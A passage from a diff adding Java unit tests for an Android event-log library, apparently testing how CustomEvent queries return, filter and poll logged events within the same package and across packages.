+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(sContext).setTag(TEST_TAG1).setData(DATA_2).log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void get_alreadyLogged_returnsEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
+    public void get_differentPackage_alreadyLogged_returnsEvent() {
+        logCustomEventOnTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
+    public void next_alreadyLogged_returnsFirstEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void next_differentPackage_alreadyLogged_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void poll_alreadyLogged_returnsFirstEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void poll_differentPackage_alreadyLogged_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void next_hasReturnedAllEvents_returnsNull() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_hasReturnedAllEvents_returnsNull() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void poll_hasReturnedAllEvents_returnsNull() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_hasReturnedAllEvents_returnsNull() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_previouslyCalledNext_returnsNextUnseenEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_previouslyPolled_returnsNextUnseenEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_differentPackage_previouslyPolled_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_previouslyCalledNext_returnsNextUnseenEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_returnsNextUnseenEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_differentPackage_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void get_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void get_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void next_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void next_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void poll_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void poll_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void get_multipleLoggedEvents_returnsFirstEvent() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_differentPackage_multipleLoggedEvents_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_multipleCalls_alwaysReturnsFirstEvent() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+        eventLogs.get();
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_differentPackage_multipleCalls_alwaysReturnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.get();
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+
+        scheduleCustomEventInOneSecond();
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void get_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void next_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+
+        scheduleCustomEventInOneSecond();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void poll_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(sContext)
+                    .setTag(TEST_TAG1)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void next_loggedAfterPreviousCallToNext_returnsNewEvent() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+        eventLogs.next();
+        CustomEvent.logger(sContext)
+                .setData(DATA_2)
+                .log();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_differentPackage_loggedAfterPreviousCallToNext_returnsNewEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.next();
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_loggedAfterPreviousCallToPoll_returnsNewEvent() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+        eventLogs.poll();
+        CustomEvent.logger(sContext)
+                .setData(DATA_2)
+                .log();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfterPreviousCallToPoll_returnsNewEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.poll();
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_calledOnSeparateQuery_returnsFromStartsAgain() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(sContext.getPackageName());
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(sContext.getPackageName());
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void next_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void poll_calledOnSeparateQuery_returnsFromStartsAgain() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(sContext.getPackageName());
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(sContext.getPackageName());
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void poll_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void get_obeysLambdaFilter() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+    }
+
+    @Test
+    public void get_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+    }
+
+    @Test
+    public void poll_obeysLambdaFilter() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_obeysLambdaFilter() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void get_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.get();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.get();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void poll_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.poll();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.poll();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.next();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.next();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void pollOrFail_hasEvent_returnsEvent() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_hasEvent_returnsEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void pollOrFail_noEvent_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_loggedAfter_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecond();
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_noEvent_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_loggedAfter_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(sContext)
+                    .setTag(TEST_TAG1)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.pollOrFail()).isNotNull();
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
